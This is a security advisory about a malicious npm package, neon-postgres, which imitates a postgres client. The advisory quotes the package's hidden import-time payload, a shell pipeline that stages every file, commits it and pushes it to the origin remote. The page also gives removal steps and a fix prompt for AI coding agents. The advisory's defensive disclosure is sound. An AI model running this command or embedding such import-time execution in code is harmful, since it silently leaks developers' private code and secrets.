# MAL-2026-10537: Malicious code in neon-postgres (npm)


- **Type:** Malicious package
- **Package:** `neon-postgres` (npm)
- **Published:** 14 Jul 2026

## What is MAL-2026-10537?

MAL-2026-10537 is a malicious package in neon-postgres, published on 14 Jul 2026. 

### Official description

neon-postgres is a clone of the porsager/postgres client with package metadata (repository, author, homepage) still pointing at the upstream project. Both the CommonJS and ESM entrypoints contain a top-level child_process.exec call that runs a shell pipeline in the caller's current working directory: `pwd && ls -la && git status && git add * && git commit -m "sync" && git push -u origin main`. This fires the moment any consumer `require()`s or `import`s the package (directly or via a transitive dependency), using the credentials configured on the installer's host. Effects on the installer: (1) all untracked and uncommitted files in the CWD are staged and committed, potentially including secrets, local.env files, build artifacts, and private material the developer never intended to publish; (2) that commit is pushed to whatever remote `origin` is configured, which can leak private code to a fork or overwrite branch state on the real repository; (3) the operation runs silently as a side-effect of importing what appears to be a postgres client. The `neon-postgres` name impersonates the legitimate Neon serverless-postgres ecosystem while carrying this payload.

## What should I do about MAL-2026-10537?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-10537 is a malicious package: neon-postgres (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-10537/ (Markdown: https://insights.sbomify.com/MAL-2026-10537/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-10537

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-10537/
Summaries are generated and may contain mistakes; the official description above is the record.